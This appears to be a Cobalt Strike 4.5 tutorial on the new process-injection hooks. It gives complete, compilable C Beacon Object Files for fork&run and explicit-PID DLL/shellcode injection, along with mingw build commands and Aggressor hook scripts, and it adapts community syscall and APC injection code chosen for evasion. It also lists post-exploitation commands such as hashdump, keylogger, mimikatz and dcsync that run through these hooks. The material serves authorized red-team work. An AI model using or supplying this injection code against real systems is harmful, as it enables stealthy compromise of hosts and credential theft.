Process injection is a core component to Cobalt Strike post exploitation. Until now, the option was to use a built-in injection technique using fork&run. This has been great for stability, but does come at the cost of OPSEC.
Cobalt Strike 4.5 now supports two new Aggressor Script hooks: PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT. These hooks allow a user to define how the fork&run and explicit injection techniques are implemented when executing post-exploitation commands instead of using the built-in techniques.
The implementation of these techniques is through a Beacon Object File (BOF) and an Aggressor Script function. In the next sections a simple example will be provided followed by an example from the Community Kit for each hook.
These two hooks will cover most of the post exploitation commands, which will be listed in each section. However, here are some exceptions which will not use these hooks.
Beacon Command | Aggressor Script function |
&bdllspawn | |
execute-assembly | &bexecute_assembly |
shell | &bshell |
The PROCESS_INJECT_SPAWN hook is used to define the fork&run process injection technique. The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique.
Additional information for a few commands:
Beacon Command | Aggressor Script function | UI Interface |
chromedump | ||
dcsync | &bdcsync | |
elevate | &belevate | [beacon] -> Access -> Elevate |
[beacon] -> Access -> Golden Ticket | ||
hashdump | &bhashdump | [beacon] -> Access -> Dump Hashes |
keylogger | &bkeylogger | |
logonpasswords | &blogonpasswords | [beacon] -> Access -> Run Mimikatz |
[beacon] -> Access -> Make Token (use a hash) | ||
mimikatz | &bmimikatz | |
&bmimikatz_small | ||
net | &bnet | [beacon] -> Explore -> Net View |
portscan | &bportscan | [beacon] -> Explore -> Port Scan |
powerpick | &bpowerpick | |
printscreen | &bprintscreen | |
pth | &bpassthehash | |
runasadmin | &brunasadmin | |
[target] -> Scan | ||
screenshot | &bscreenshot | [beacon] -> Explore -> Screenshot |
screenwatch | &bscreenwatch | |
ssh | &bssh | [target] -> Jump -> ssh |
ssh-key | &bssh_key | [target] -> Jump -> ssh-key |
[target] -> Jump -> [exploit] (use a hash) |
The PROCESS_INJECT_SPAWN hook accepts the following arguments
The PROCESS_INJECT_SPAWN hook should return one of the following values:
To implement your own fork&run injection technique you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_SPAWN hook function.
The following example implements the PROCESS_INJECT_SPAWN hook to bypass the built-in default. First, we will create a BOF with our fork&run implementation.
File: inject_spawn.c
#include <windows.h> #include "beacon.h" /* is this an x64 BOF */ BOOL is_x64() { #if defined _M_X64 return TRUE; #elif defined _M_IX86 return FALSE; #endif } /* See gox86 and gox64 entry points */ void go(char * args, int alen, BOOL x86) { STARTUPINFOA si; PROCESS_INFORMATION pi; datap parser; short ignoreToken; char * dllPtr; int dllLen; /* Warn about crossing to another architecture. */ if (!is_x64() && x86 == FALSE) { BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x86 -> x64"); } if (is_x64() && x86 == TRUE) { BeaconPrintf(CALLBACK_ERROR, "Warning: inject from x64 -> x86"); } /* Extract the arguments */ BeaconDataParse(&parser, args, alen); ignoreToken = BeaconDataShort(&parser); dllPtr = BeaconDataExtract(&parser, &dllLen); /* zero out these data structures */ __stosb((void *)&si, 0, sizeof(STARTUPINFO)); __stosb((void *)&pi, 0, sizeof(PROCESS_INFORMATION)); /* setup the other values in our startup info structure */ si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.cb = sizeof(STARTUPINFO); /* Ready to go: spawn, inject and cleanup */ if (!BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi)) { BeaconPrintf(CALLBACK_ERROR, "Unable to spawn %s temporary process.", x86 ? "x86" : "x64"); return; } BeaconInjectTemporaryProcess(&pi, dllPtr, dllLen, 0, NULL, 0); BeaconCleanupProcess(&pi); } void gox86(char * args, int alen) { go(args, alen, TRUE); } void gox64(char * args, int alen) { go(args, alen, FALSE); }
Next, compile the source code to generate the .o files using the mingw compiler on Linux.
x86_64-w64-mingw32-gcc -o inject_spawn.x64.o -c inject_spawn.c i686-w64-mingw32-gcc -o inject_spawn.x86.o -c inject_spawn.c
File: inject_spawn.cna
# Hook to allow the user to define how the fork and run process injection # technique is implemented when executing post exploitation commands. # $1 = Beacon ID # $2 = memory injectable dll (position-independent code) # $3 = true/false ignore process token # $4 = x86/x64 - memory injectable DLL arch set PROCESS_INJECT_SPAWN { local('$barch $handle $data $args $entry'); # Set the architecture for the beacon's session $barch = barch($1); # read in the injection BOF based on barch warn("read the BOF: inject_spawn. $+ $barch $+ .o"); $handle = openf(script_resource("inject_spawn. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); # pack our arguments needed for the BOF $args = bof_pack($1, "sb", $3, $2); btask($1, "Process Inject using fork and run."); # Set the entry point based on the dll's arch $entry = "go $+ $4"; beacon_inline_execute($1, $data, $entry, $args); # Let the caller know the hook was implemented. return 1; }
Next, load the inject_spawn.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface. Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation.
After loading the script, a command like screenshot
will use the new hook.
Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_SPAWN hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs. For the fork&run implementation use the example under the StaticSyscallsAPCSpawn folder. This uses the spawn with syscalls shellcode injection (NtMapViewOfSection -> NtQueueApcThread) technique.
Steps:
x86_64-w64-mingw32-gcc -o syscallsapcspawn.x64.o -c entry.c -masm=intel
When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.
Items to note in the entry.c file that are different than the simple example.
Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_SPAWN function from the simple example to work with this project. Here is the modified PROCESS_INJECT_SPAWN function which can be put into a new file or add it to the existing static_syscalls_apc_spawn.cna file.
File: static_syscalls_apc_spawn.cna
# Hook to allow the user to define how the fork and run process injection # technique is implemented when executing post exploitation commands. # $1 = Beacon ID # $2 = memory injectable dll (position-independent code) # $3 = true/false ignore process token # $4 = x86/x64 - memory injectable DLL arch set PROCESS_INJECT_SPAWN { local('$barch, $handle $data $args'); # figure out the arch of this session $barch = barch($1); if ($barch eq "x86") { warn("Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500) does not support x86. Use built in default"); return $null; } # read in the right BOF warn("read the BOF: syscallsapcspawn. $+ $barch $+ .o"); $handle = openf(script_resource("syscallsapcspawn. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); # pack our arguments needed for the BOF $args = bof_pack($1, "b", $2); btask($1, "Syscalls Spawn and Shellcode APC Injection BOF (@ajpc500)"); beacon_inline_execute($1, $data, "go", $args); # Let the caller know the hook was implemented. return 1; }
Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface. Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation.
After loading the script, a command like keylogger
will use the new hook.
The PROCESS_INJECT_EXPLICIT hook is used to define the explicit process injection technique. The following Beacon commands, aggressor script functions, and UI interfaces listed in the table below will call the hook and the user can implement their own technique or use the built-in technique.
Additional information for a few commands:
Beacon Command | Aggressor Script function | UI Interface |
browserpivot | &bbrowserpivot | [beacon] -> Explore -> Browser Pivot |
chromedump | ||
dcsync | &bdcsync | |
dllinject | &bdllinject | |
hashdump | &bhashdump | |
inject | &binject | [Process Browser] -> Inject |
keylogger | &bkeylogger | [Process Browser] -> Log Keystrokes |
logonpasswords | &blogonpasswords | |
mimikatz | &bmimikatz | |
&bmimikatz_small | ||
net | &bnet | |
portscan | &bportscan | |
printscreen | ||
psinject | &bpsinject | |
pth | &bpassthehash | |
screenshot | [Process Browser] -> Screenshot (Yes) | |
screenwatch | [Process Browser] -> Screenshot (No) | |
shinject | &bshinject | |
ssh | &bssh | |
ssh-key | &bssh_key |
The PROCESS_INJECT_EXPLICIT hook accepts the following arguments
The PROCESS_INJECT_EXPLICIT hook should return one of the following values:
To implement your own explicit injection technique, you will be required to supply a BOF containing your executable code for x86 and/or x64 architectures and an Aggressor Script file containing the PROCESS_INJECT_EXPLICIT hook function.
The following example implements the PROCESS_INJECT_EXPLICIT hook to bypass the built-in default. First, we will create a BOF with our explicit injection implementation.
File: inject_explicit.c
#include <windows.h> #include "beacon.h" /* Windows API calls */ DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$IsWow64Process (HANDLE hProcess, PBOOL Wow64Process); DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID); DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject); /* is this an x64 BOF */ BOOL is_x64() { #if defined _M_X64 return TRUE; #elif defined _M_IX86 return FALSE; #endif } /* is this a 64-bit or 32-bit process? */ BOOL is_wow64(HANDLE process) { BOOL bIsWow64 = FALSE; if (!KERNEL32$IsWow64Process(process, &bIsWow64)) { return FALSE; } return bIsWow64; } /* check if a process is x64 or not */ BOOL is_x64_process(HANDLE process) { if (is_x64() || is_wow64(KERNEL32$GetCurrentProcess())) { return !is_wow64(process); } return FALSE; } /* See gox86 and gox64 entry points */ void go(char * args, int alen, BOOL x86) { HANDLE hProcess; datap parser; int pid; int offset; char * dllPtr; int dllLen; /* Extract the arguments */ BeaconDataParse(&parser, args, alen); pid = BeaconDataInt(&parser); offset = BeaconDataInt(&parser); dllPtr = BeaconDataExtract(&parser, &dllLen); /* Open a handle to the process, for injection. */ hProcess = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid); if (hProcess == INVALID_HANDLE_VALUE || hProcess == 0) { BeaconPrintf(CALLBACK_ERROR, "Unable to open process %d : %d", pid, KERNEL32$GetLastError()); return; } /* Check that we can inject the content into the process. */ if (!is_x64_process(hProcess) && x86 == FALSE ) { BeaconPrintf(CALLBACK_ERROR, "%d is an x86 process (can't inject x64 content)", pid); return; } if (is_x64_process(hProcess) && x86 == TRUE) { BeaconPrintf(CALLBACK_ERROR, "%d is an x64 process (can't inject x86 content)", pid); return; } /* inject into the process */ BeaconInjectProcess(hProcess, pid, dllPtr, dllLen, offset, NULL, 0); /* Clean up */ KERNEL32$CloseHandle(hProcess); } void gox86(char * args, int alen) { go(args, alen, TRUE); } void gox64(char * args, int alen) { go(args, alen, FALSE); }
Next, compile the source code to generate the .o files using the mingw compiler on Linux.
x86_64-w64-mingw32-gcc -o inject_explicit.x64.o -c inject_explicit.c i686-w64-mingw32-gcc -o inject_explicit.x86.o -c inject_explicit.c
Next, create the Aggressor Script PROCESS_INJECT_EXPLICIT hook function.
File: inject_explicit.cna
# Hook to allow the user to define how the explicit injection technique # is implemented when executing post exploitation commands. # $1 = Beacon ID # $2 = memory injectable dll for the post exploitation command # $3 = the PID to inject into # $4 = offset to jump to # $5 = x86/x64 - memory injectable DLL arch set PROCESS_INJECT_EXPLICIT { local('$barch $handle $data $args $entry'); # Set the architecture for the beacon's session $barch = barch($1); # read in the injection BOF based on barch warn("read the BOF: inject_explicit. $+ $barch $+ .o"); $handle = openf(script_resource("inject_explicit. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); # pack our arguments needed for the BOF $args = bof_pack($1, "iib", $3, $4, $2); btask($1, "Process Inject using explicit injection into pid $3"); # Set the entry point based on the dll's arch $entry = "go $+ $5"; beacon_inline_execute($1, $data, $entry, $args); # Let the caller know the hook was implemented. return 1; }
Next, load the inject_explicit.cna Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface. Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation.
After loading the script, a command like screenshot
will use the new hook.
Now that we have gone through the simple example to get some understanding of how the PROCESS_INJECT_EXPLICIT hook works let’s try something from the Community Kit. The example which will be used is from the BOFs project https://github.com/ajpc500/BOFs. For the explicit injection implementation we will select a different technique from this repository. Use the example under the StaticSyscallsInject folder.
Steps:
x86_64-w64-mingw32-gcc -o syscallsinject.x64.o -c entry.c -masm=intel
When using projects from the Community Kit it is good practice to review the code and recompile the source even if object or binary files are provided.
Items to note in the entry.c file that are different than the simple example.
Now that we understand the differences between the simple example and this project’s code, we can modify the PROCESS_INJECT_EXPLICIT function from the simple example to work with this project. Here is the modified PROCESS_INJECT_EXPLICIT function which can be put into a new file or add it to the existing static_syscalls_inject.cna file.
File: static_syscalls_inject.cna
# Hook to allow the user to define how the explicit injection technique # is implemented when executing post exploitation commands. # $1 = Beacon ID # $2 = memory injectable dll for the post exploitation command # $3 = the PID to inject into # $4 = offset to jump to # $5 = x86/x64 - memory injectable DLL arch set PROCESS_INJECT_EXPLICIT { local('$barch $handle $data $args'); # Set the architecture for the beacon's session $barch = barch($1); if ($barch eq "x86") { warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support x86. Use built in default"); return $null; } if ($4 > 0) { warn("Static Syscalls Shellcode Injection BOF (@ajpc500) does not support offset argument. Use built in default"); return $null; } # read in the injection BOF based on barch warn("read the BOF: syscallsinject. $+ $barch $+ .o"); $handle = openf(script_resource("syscallsinject. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle); # pack our arguments needed for the BOF $args = bof_pack($1, "ib", $3, $2); btask($1, "Static Syscalls Shellcode Injection BOF (@ajpc500) into pid $3"); beacon_inline_execute($1, $data, "go", $args); # Let the caller know the hook was implemented. return 1; }
Next, load the Aggressor Script file into the Cobalt Strike client through the Colbalt Strike -> Script Manager interface. Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation.
Next, load the Aggressor Script file into the Cobalt Strike client through the Cobalt Strike -> Script Manager interface. Once the script is loaded you can execute the post exploitation commands defined in the table above and the command will now use this implementation.
After loading the script, a command like keylogger
will use the new hook.